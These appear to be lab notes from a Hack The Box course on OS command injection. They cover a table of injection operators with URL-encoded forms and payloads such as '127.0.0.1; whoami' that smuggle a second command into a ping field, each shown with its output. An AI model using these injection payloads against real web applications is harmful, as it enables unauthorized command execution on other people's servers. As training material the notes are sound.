Exploitation

Detection

We can try entering the localhost IP 127.0.0.1 to check the functionality, and as expected, it returns the output of the ping command telling us that the localhost is indeed alive.

Although we do not have access to the source code of the web application, we can confidently guess that the IP we entered is going into a ping command since the output we receive suggests that. As the result shows a single packet transmitted in the ping command, the command used may be as follows:

ping -c 1 OUR_INPUT

So, let us try to see if the web application is vulnerable to OS command injection.

Command Injection Methods

Injection Operator	Injection Character	URL-Encoded Character	Executed Command
Semicolon	;	%3b	Both
New Line	\n	%0a	Both
Background	&	%26	Both (second output generally shown first)
Pipe	|	%7c	Both (only second output is shown)
AND	&&	%26%26	Both (only if first succeeds)
OR	||	%7c%7c	Second (only if first fails)
Sub-Shell	``	%60%60	Both (Linux-only)
Sub-Shell	$()	%24%28%29	Both (Linux-only)

Note: The only exception may be the semi-colon ;, which will not work if the command was being executed with Windows Command Line (CMD), but would still work if it was being executed with Windows PowerShell.

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Injecting Commands

We can add a semi-colon after our input IP 127.0.0.1, and then append our command (e.g. whoami), such that the final payload we will use is (127.0.0.1; whoami), and the final command to be executed would be:

ping -c 1 127.0.0.1; whoami

eldeim@htb[/htb]$ ping -c 1 127.0.0.1; whoami

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=1.03 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.034/1.034/1.034/0.000 ms
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Bypassing Front-End Validation

As we can see, the response we got this time contains the output of the ping command and the result of the whoami command, meaning that we successfully injected our new command

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Other Injection Operators

AND Operator

We can start with the AND (&&) operator, such that our final payload would be (127.0.0.1 && whoami), and the final executed command would be the following:

ping -c 1 127.0.0.1 && whoami

21y4d@htb[/htb]$ ping -c 1 127.0.0.1 && whoami

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=1.03 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.034/1.034/1.034/0.000 ms
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OR Operator

The OR operator only executes the second command if the first command fails to execute.

If we try to use our usual payload with the || operator (127.0.0.1 || whoami), we will see that only the first command would execute:

21y4d@htb[/htb]$ ping -c 1 127.0.0.1 || whoami

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.635 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.635/0.635/0.635/0.000 ms

Let us try to intentionally break the first command by not supplying an IP and directly using the || operator (|| whoami), such that the ping command would fail and our injected command gets executed:

21y4d@htb[/htb]$ ping -c 1 || whoami

ping: usage error: Destination address required
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